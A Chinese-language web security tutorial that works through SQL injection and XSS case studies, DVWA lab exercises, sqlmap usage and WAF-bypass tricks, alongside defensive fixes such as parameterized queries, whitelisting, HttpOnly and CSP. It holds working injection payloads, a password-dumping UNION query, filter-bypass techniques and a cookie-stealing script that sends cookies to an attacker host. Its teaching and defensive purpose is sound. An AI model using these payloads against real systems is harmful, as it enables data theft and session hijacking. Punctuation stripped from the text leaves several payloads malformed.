从真实案例剖析SQL注入与XSS攻击:防御实战与靶场演练

从真实案例剖析SQL注入与XSS攻击:防御实战与靶场演练
1. 项目概述从真实案例看Web安全的两大“顽疾”干了这么多年安全开发和渗透测试我见过太多因为SQL注入和XSS跨站脚本攻击导致的数据泄露、网站被黑甚至公司倒闭的案例。很多开发者尤其是刚入行的朋友总觉得这些是“教科书式”的老漏洞现在的框架都帮我们防住了没什么好担心的。但现实是只要你的应用需要和数据库交互、需要在页面上动态展示用户输入这两个漏洞就永远有可乘之隙。黑客们并没有放弃这些“古老”的技巧反而在不断进化攻击手法利用开发者的思维盲区进行“套路”。这篇文章我不想讲枯燥的原理定义而是带你通过三个我亲手分析过的、极具代表性的真实案例来“沉浸式”地读懂黑客是如何利用SQL注入和XSS“套路”网站的。你会看到从简单的登录框到复杂的搜索功能从显眼的输入点到隐蔽的HTTP头部都可能成为攻击的入口。更重要的是我会在每个案例后拆解防御的正确姿势告诉你为什么单纯的参数化查询或转义有时还不够以及框架在哪些地方可能“开了后门”。无论你是前端、后端还是运维理解这些攻击的思维模式是构建真正安全应用的第一步。2. 案例一绕过“安全”的登录系统——二次编码与宽字节注入第一个案例来自一个中型电商平台的内部渗透测试。他们的登录界面看起来非常标准用户名、密码、验证码后端使用Java Spring Boot框架并且开发者自信地告诉我“我们用了MyBatis的#{}预编译SQL注入绝对不可能。”2.1 攻击链复盘黑客的“迂回”策略攻击的起点正是那个被认为最安全的登录框。黑客并没有直接尝试admin OR 11这种会被预编译机制轻松拦截的经典payload。第一步探测与迷惑。攻击者首先输入了一个正常的用户名和错误密码触发系统的“用户名或密码错误”回显。然后他在用户名字段输入了一个单引号。系统返回了同样的通用错误信息没有SQL报错。这初步说明输入可能被预编译处理了直接注入行不通。第二步利用编码“缝隙”。攻击者没有放弃他尝试了字符的URL编码。输入%27单引号的URL编码作为用户名的一部分比如admin%27。后端在接收到%27后通常会进行URL解码将其还原为单引号然后这个单引号会被MyBatis的#{}当作普通的字符串数据安全地处理掉攻击再次失败。但黑客的思维是发散的。他想如果我在前端或传输过程中就对payload进行双重编码呢他尝试输入%2527。这里有个关键点%25是百分号%本身的URL编码。所以当%2527这个字符串被浏览器或前端脚本发送到服务器时Web容器如Tomcat可能会进行一次URL解码将%25解码成%于是字符串变成了%27。如果后端代码不谨慎地、重复地对请求参数进行URL解码那么这个%27又会被解码成单引号。此时这个单引号才第一次“出现”在业务逻辑代码中而它可能已经绕过了框架初始的输入过滤或校验层被直接拼接进了最终的SQL语句片段里。第三步组合攻击实现注入。在这个案例中攻击者最终成功的Payload是admin%2527%20OR%20%271%27%271。解码过程如下容器第一次解码%2527-%27%20- 空格 得到admin%27 OR 11。后端不安全的二次解码%27- 得到admin OR 11。如果后端存在某处将用户名直接拼接进一个复杂的、动态排序的SQL语句例如ORDER BY ${columnName}这里用了${}而非#{}这个单引号就会破坏语法引入OR条件导致登录绕过。注意这个案例的关键不在于MyBatis的#{}被攻破而在于不安全的二次解码和开发者在某些场景下违规使用了${}进行字符串拼接。黑客通过编码技巧让恶意字符“晚点出现”打一个时间差。2.2 漏洞根因深度解析输入验证链断裂安全防护是一个链条从客户端到服务器端任何一环的疏忽都会导致失效。本例中后端假设所有输入都已经过框架“消毒”但额外的、不必要的URL解码操作重新引入了危险字符。动态SQL的滥用MyBatis中${}是直接的字符串替换用于动态指定列名、表名等无法预编译的场景。但部分开发者图省事在构造查询条件时也使用${}这就完全绕过了预编译的保护为注入打开了大门。错误处理信息泄露虽然登录失败时前端返回的是通用提示但在其他接口如搜索、订单查询的SQL报错信息可能被直接返回给前端这为攻击者进行“报错注入”提供了宝贵的信息。2.3 防御加固实操要点坚持参数化查询预编译对于所有用户输入作为数据值的地方无条件使用#{}。这是铁律。严格限制${}的使用范围仅用于动态指定列名、表名等非用户数据的场景。并且在使用${}前必须进行白名单校验。例如如果参数用于指定排序字段只能允许id,name,create_time等预定义的、安全的字段名。// 错误示范直接使用用户输入排序 Select(SELECT * FROM users ORDER BY ${orderBy}) ListUser getUsers(String orderBy); // 正确示范白名单校验 private final SetString ALLOWED_SORT_FIELDS Set.of(id, name, email); public String validateSortField(String field) { if (ALLOWED_SORT_FIELDS.contains(field)) { return field; } return id; // 默认安全的字段 } // SQL中使用ORDER BY ${validatedField}规范化的输入处理流程在Controller层或全局过滤器中对参数进行一次且仅一次的规范化解码。避免在业务逻辑的不同层级重复解码。统一的错误处理全局捕获所有异常在前端返回通用的友好错误信息如“系统繁忙”而不是将数据库的详细报错包含表结构、SQL片段暴露出去。3. 案例二一张图片引发的“血案”——存储型XSS的持久化攻击第二个案例发生在一个用户生成内容UGC丰富的社交论坛。网站允许用户在发帖和评论中上传图片并提供了“图片URL”和“本地上传”两种方式。问题就出在这个“图片URL”的功能上。3.1 攻击链复盘隐藏在“图片地址”里的脚本论坛的富文本编辑器允许用户通过img src...标签插入网络图片。后端对script标签进行了严格的过滤但对img标签的src属性值只做了简单的URL格式校验。第一步构造恶意Payload。攻击者没有直接插入scriptalert(1)/script这会被过滤。他发了一个帖子内容如下看这张有趣的图片img srcjavascript:alert(你的Cookie是document.cookie) width100 height100或者利用onerror事件属性这是一种更常见的手法img srcinvalid_image.jpg onerroralert(document.cookie)当浏览器加载这个img标签时它会尝试从src指定的地址加载图片。对于javascript:协议旧版本或配置不当的浏览器可能会执行其中的代码。而对于第二个例子由于src指向一个不存在的图片加载必定失败从而触发onerror事件执行其中的JavaScript代码。第二步利用过滤逻辑的盲点。该论坛的后端过滤逻辑可能是这样的用正则表达式匹配并删除script.../script标签及其内容但对其他标签的属性内容检查不足。onerror、onload、onmouseover等事件处理器属性完全可以承载恶意代码。攻击者甚至可以将代码进行HTML编码来绕过简单的关键词匹配img srcx onerror#x61;#x6c;#x65;#x72;#x74;#x28;#x31;#x29;这段编码解码后就是onerroralert(1)。第三步攻击的生效与扩散。由于帖子内容被存储在数据库中每当其他用户包括管理员浏览这个帖子时他们的浏览器都会渲染这个img标签执行恶意脚本。这就是“存储型XSS”危害最大。脚本可以窃取用户的登录Cookie如果Cookie未设置HttpOnly、发起伪造请求如代表用户发帖、转账、甚至将用户重定向到钓鱼网站。3.2 漏洞根因深度解析黑名单过滤的局限性只过滤script标签是典型且无效的黑名单思维。HTML和JavaScript的特性非常复杂可执行代码的入口点称为“XSS向量”多达数十上百种防不胜防。对用户输入的数据类型认知错误“图片URL”在开发者看来是一个数据但在HTML上下文中它最终成为了页面代码的一部分。任何最终会被浏览器解析的内容都必须经过针对其所在上下文的严格处理。缺乏输出编码即使后端存储了原始数据在输出到HTML页面时也没有根据其出现的上下文进行编码。例如作为HTML标签属性值应该进行HTML属性编码将转成amp;转成quot;等。3.3 防御加固实操要点白名单优于黑名单对于富文本内容如帖子、评论不要试图过滤所有危险标签。应该采用白名单策略只允许一组安全的标签和属性如p,b,img的src、alt、width、height等并清理掉其他所有标签和属性。可以使用成熟的库如OWASP Java HTML Sanitizer或Jsoup。import org.jsoup.Jsoup; import org.jsoup.safety.Safelist; String safeHtml Jsoup.clean(rawUserInput, Safelist.basicWithImages()); // basicWithImages 白名单允许基本的文本格式标签和安全的img标签严格的URL协议校验对于img的src、a的href等URL属性必须校验其协议。只允许http://、https://、data:image/需谨慎等坚决拒绝javascript:、vbscript:、data:text/html等危险协议。关键Cookie设置HttpOnly标志对于会话标识符Session ID这类Cookie在Set-Cookie时务必加上HttpOnly标志。这样即使发生XSSJavaScript也无法通过document.cookie读取到此Cookie从而阻断会话劫持。Set-Cookie: sessionIdabc123; Path/; HttpOnly; Secure实施内容安全策略CSPCSP是一个强大的深度防御策略。通过HTTP响应头Content-Security-Policy你可以告诉浏览器只允许加载指定来源的脚本、图片、样式等。例如禁止内联JavaScript执行可以有效防御案例中的onerror攻击。Content-Security-Policy: default-src self; img-src self https://cdn.example.com; script-src self这个策略表示默认只允许同源资源图片可以来自同源和https://cdn.example.com脚本只能来自同源。unsafe-inline允许内联脚本和unsafe-eval允许eval应尽量避免使用。4. 案例三搜索框里的“盲注”与“反射型XSS”组合拳第三个案例针对的是一个提供专业文档检索的网站。它的搜索功能强大支持关键词高亮和复杂的布尔查询。攻击者在这里同时发现了SQL注入和反射型XSS漏洞并打出了一套组合拳。4.1 攻击链复盘无回显下的“盲”攻击与即时反馈的XSS第一部分SQL盲注Boolean-Based Blind Injection搜索功能的后端SQL语句大致是SELECT * FROM documents WHERE content LIKE %${keyword}% AND status public。同样这里危险地使用了${}进行拼接。攻击者输入test AND 11。搜索结果显示正常。 攻击者输入test AND 12。搜索结果为空。不同的输入导致了不同的页面状态有结果/无结果这立刻暴露了这是一个基于布尔的SQL盲注点。虽然页面没有直接显示数据库错误信息但攻击者可以通过精心构造的True/False条件像“猜谜”一样逐位提取数据。例如猜测数据库名的第一个字母输入test AND SUBSTRING(DATABASE(), 1, 1) a --如果页面有结果说明数据库名第一个字母是a如果无结果则不是。通过循环遍历字母、数字可以逐步猜出整个数据库名、表名、字段名和具体数据。这个过程可以自动化使用工具如sqlmap能快速完成。第二部分反射型XSSReflected XSS在搜索结果的页面网站为了用户体验会将用户输入的关键词高亮显示。例如搜索“安全”页面上会显示“以下是包含安全的文档...”。后端处理逻辑是将关键词用span classhighlight${keyword}/span包裹后替换到HTML内容中。攻击者输入了这样的搜索词scriptalert(XSS)/script。后端未做任何过滤直接将其嵌入高亮HTML代码中变成了span classhighlightscriptalert(XSS)/script/span当页面加载时这段脚本就被执行了。这就是反射型XSS恶意脚本来自本次请求的URL参数如?qscript...并立即在响应中“反射”回来执行。攻击者可以制作一个恶意链接诱骗受害者点击从而在受害者浏览器中执行脚本。4.2 漏洞根因深度解析SQL拼接与盲注的隐蔽性开发者在实现模糊查询LIKE时觉得参数化拼接比较麻烦或者错误地认为LIKE子句不能参数化从而使用了危险的字符串拼接。盲注虽然没有直接回显数据但通过观察应用逻辑的真假反应同样可以窃取信息危害丝毫不减。在HTML上下文中直接输出未编码数据这是反射型XSS的典型成因。开发者认为搜索词只是“数据”却忘了它在服务器端被拼接进了HTML标签结构中从而变成了“代码”。数据与代码的边界被混淆。功能特性被滥用为攻击向量搜索高亮、URL参数回显、错误信息展示这些旨在提升用户体验的功能如果没有做好安全处理就会成为攻击的突破口。4.3 防御加固实操要点参数化查询解决SQL注入即使是LIKE查询也必须使用参数化查询。// 错误拼接 String sql SELECT * FROM docs WHERE content LIKE % keyword %; // 正确参数化 String sql SELECT * FROM docs WHERE content LIKE CONCAT(%, ?, %); PreparedStatement stmt connection.prepareStatement(sql); stmt.setString(1, keyword);对于MyBatis同样使用#{}并在XML中处理好通配符select idsearchDocs resultTypeDoc SELECT * FROM documents WHERE content LIKE CONCAT(%, #{keyword}, %) AND status public /select根据输出上下文进行编码这是防御XSS的核心原则。在HTML文本中输出如div${data}/div使用HTML实体编码。将、、、、等字符转义。在HTML属性中输出如input value${data}使用HTML属性编码。除了上述字符空格等在某些情况下也需注意。最佳实践是始终用双引号包裹属性值并对值中的双引号进行编码。在JavaScript中输出如scriptvar name ${data};/script使用JavaScript字符串编码。需要转义\、、、换行符等并确保数据被放在引号内。在URL参数中输出如a href/profile?user${data}进行URL编码。 现代前端模板引擎如Thymeleaf、React、Vue默认通常会对绑定数据进行HTML编码。但当你使用v-htmlVue或dangerouslySetInnerHTMLReact时就相当于手动关闭了编码必须万分小心。对搜索类功能实施严格的输入限制对搜索关键词的长度、字符类型是否允许特殊符号进行限制。这不仅能防攻击也是良好的用户体验设计。5. 实战演练与工具使用在靶场中固化技能理解了原理和案例最好的学习方式就是亲手实践。这里我推荐两个经典的、专为Web安全学习设计的开源靶场DVWA和Pikachu。它们环境搭建简单漏洞场景典型非常适合练习。5.1 靶场环境搭建与配置以DVWA为例最方便的方式是使用Docker一键部署# 拉取DVWA镜像 docker pull vulnerables/web-dvwa # 运行容器 docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa访问http://localhost:8080默认登录账号admin/password。首次登录需要点击Create / Reset Database按钮初始化数据库。在DVWA的Security页面你可以设置安全等级Low, Medium, High, Impossible。从Low开始你可以看到最原始、无防护的漏洞代码随着等级提高你可以学习到各种过滤和绕过技巧。5.2 SQL注入手工实战流程以DVWA Low级别为例判断注入点在SQL Injection页面输入1正常回显。输入1出现SQL语法错误。这确认存在字符型注入。确定字段数使用ORDER BY子句猜测。输入1 ORDER BY 1 --正常。1 ORDER BY 2 --正常。1 ORDER BY 3 --报错。说明当前查询结果有2个字段。确定回显点使用联合查询UNION SELECT。输入1 UNION SELECT 1,2 --。页面可能会在数字1或2的位置显示出来这两个位置就是我们可以用来回显数据的位置。获取数据库信息假设数字2是回显点。输入1 UNION SELECT 1, database() --// 获取当前数据库名1 UNION SELECT 1, user() --// 获取当前数据库用户1 UNION SELECT 1, version() --// 获取数据库版本提取表名和列名这需要查询数据库的信息模式表。以MySQL为例1 UNION SELECT 1, group_concat(table_name) FROM information_schema.tables WHERE table_schemadatabase() --// 获取所有表名 假设得到表名users接下来获取它的列名1 UNION SELECT 1, group_concat(column_name) FROM information_schema.columns WHERE table_schemadatabase() AND table_nameusers --拖取数据最后从目标表中提取数据1 UNION SELECT user, password FROM users --实操心得手工注入的过程就是与数据库“对话”的过程。关键在于理解后端SQL语句的可能结构通过报错信息、页面回显差异来逐步修正你的Payload。--注意后面有个空格是MySQL的单行注释符用于注释掉原SQL语句中后续的部分这对构造合法SQL语句至关重要。在实战中信息收集数据库类型、版本是第一步它决定了后续Payload的语法。5.3 XSS漏洞挖掘与利用实操在DVWA的XSS相关模块进行练习反射型XSS (Reflected)在输入框尝试最基本的scriptalert(document.domain)/script。观察是否弹窗。然后尝试绕过简单的过滤如果script被过滤尝试img srcx onerroralert(1)或者大小写混淆ScRiPtalert(1)/sCrIpT或者使用HTML实体编码。存储型XSS (Stored)在留言板等处输入恶意脚本并提交。然后以其他用户或管理员身份浏览该页面观察脚本是否执行。思考如何构造窃取Cookie的Payloadscriptnew Image().srchttp://attacker.com/steal?cookieencodeURIComponent(document.cookie);/script这个脚本会向攻击者的服务器发送一个携带受害者Cookie的GET请求。DOM型XSS这种XSS的恶意代码执行完全发生在客户端浏览器的DOM解析环境中不经过服务器。在DVWA的DOM XSS关卡查看页面源码你会发现有一段JavaScript直接从URL的#片段中获取数据并写入DOM。你需要构造类似#scriptalert(1)/script的URL。防御DOM型XSS必须对从document.location、document.referrer等来源获取的数据在写入DOM前进行客户端编码。5.4 自动化工具辅助与理解工具如sqlmap可以极大提高SQL注入测试的效率但绝不能替代对手工原理的理解。使用sqlmap进行基础扫描# 检测是否存在注入 sqlmap -u http://target.com/page?id1 --batch # 获取当前数据库名 sqlmap -u http://target.com/page?id1 --batch --current-db # 获取指定数据库的所有表 sqlmap -u http://target.com/page?id1 --batch -D database_name --tables # 获取指定表的所有列 sqlmap -u http://target.com/page?id1 --batch -D database_name -T table_name --columns # 拖取数据 sqlmap -u http://target.com/page?id1 --batch -D database_name -T table_name -C column1,column2 --dump--batch参数会让sqlmap以非交互模式运行自动选择默认选项。注意事项务必只在你自己拥有合法权限的靶场或测试环境使用这些工具。未经授权对任何网站进行渗透测试是违法行为。工具是双刃剑理解其背后的原理和发送的Payload才能更好地防御。6. 进阶绕过WAF与框架内置防护的思维现代应用通常会部署Web应用防火墙WAF或使用具有内置防护的框架如Spring Security。但攻击者的思维也在进化。6.1 SQL注入绕过技巧大小写/关键字混淆UNION-uNIOnSELECT-SeLeCtOR-Or。有些简单的WAF规则是大小写敏感的。双写/插入注释绕过UNION-UNI/**/ONSELECT-SELSELECTECT如果过滤规则是删除SELECT字符串双写后删除中间部分剩下的又组成了SELECT。编码绕过对Payload进行URL编码、十六进制编码、Unicode编码等。例如SELECT的URL编码是%53%45%4c%45%43%54。如果WAF只解码一次而后端应用解码两次就可能绕过。等价函数/语句替换OR 11可以换成OR 98ASCII()可以换成HEX()、BIN()。利用数据库特性MySQL中/*!50000 SELECT*/是一种内联注释特定版本以上的MySQL会执行其中的语句。这可以用来包裹被WAF拦截的关键字。6.2 XSS绕过技巧事件处理器多样化除了onerror还有onload、onmouseover、onfocus等数十种事件可用。伪协议与标签除了javascript:还有data:text/html,scriptalert(1)/script。除了imgsvg、iframe、object、embed等标签都可能成为载体。空格、换行、Tab符的利用img srcx onerroralert(1)可以写成img srcx onerror alert(1)或利用换行符。HTML实体编码与JavaScript编码如前所述将关键字符编码依赖浏览器强大的解码能力。6.3 框架防护的“死角”与正确配置以Spring Boot为例它提供了强大的安全支持但默认配置或错误使用仍会留下隐患。Spring Security的CSP需要手动配置默认不开启。在配置类中启用Configuration public class SecurityConfig extends WebSecurityConfigurerAdapter { Override protected void configure(HttpSecurity http) throws Exception { http // ... 其他配置 .headers() .contentSecurityPolicy(default-src self; script-src self); } }输入验证使用Valid注解和Bean Validation如NotBlank,Size进行输入格式校验但这不是为了安全过滤而是为了业务逻辑完整性。XSS的过滤必须在输出或序列化时进行。输出编码Spring的模板引擎Thymeleaf默认会对${...}表达式进行HTML转义。这是很好的默认安全行为。除非你明确使用th:utext或[[...]]在Thymeleaf 3中这时你必须确保内容是安全的。SQL注入Spring Data JPA或MyBatis配合#{}只要不滥用${}防护是有效的。但要警惕**Native Query原生查询**中的字符串拼接这是框架防护的盲区。7. 从开发到运维构建纵深防御体系安全不是某个环节的事情而是需要贯穿开发、测试、部署、运维的全流程。开发阶段安全编码规范团队必须制定并遵守包含SQL参数化、输出编码、输入验证等内容的安全编码规范。安全库与框架优先使用具有良好安全声誉的库和框架并保持更新。代码审计将安全代码审查纳入开发流程重点关注用户输入处理、数据库交互和动态内容生成部分。测试阶段自动化漏洞扫描在CI/CD流水线中集成SAST静态应用安全测试和DAST动态应用安全测试工具如Checkmarx、Fortify、OWASP ZAP等对每次构建进行基础安全扫描。渗透测试定期如每季度或每次重大更新前邀请专业安全团队或使用自动化工具进行深入的渗透测试。部署与运维阶段WAFWeb应用防火墙在应用前端部署WAF作为一道额外的防线可以拦截大量已知的攻击模式。但切记WAF是“缓兵之计”不能替代安全的代码。定期更新与补丁管理及时更新操作系统、中间件Tomcat/Nginx、数据库、框架和库的所有安全补丁。最小权限原则为数据库连接、服务器进程配置所需的最小权限账户。例如Web应用连接数据库的账号不应拥有DROP TABLE、FILE等高级权限。安全日志与监控记录所有身份验证、授权失败、输入验证错误、数据库长查询等可疑事件。设置告警以便在攻击发生时能快速响应。SQL注入和XSS就像网络世界的“基础病”看似简单却能引发致命后果。防御它们没有一劳永逸的银弹需要的是一种持续的安全意识和纵深防御的策略。从写出每一行安全的代码开始到构建整个应用生命周期的防护体系这条路没有终点。我个人的体会是每次看到一个新的漏洞利用技巧除了感叹攻击者的“创意”更多的是反思我们的系统在哪个环节还可以做得更扎实那个看似无害的功能会不会是下一个攻击入口保持这种警惕是安全从业者最重要的素质。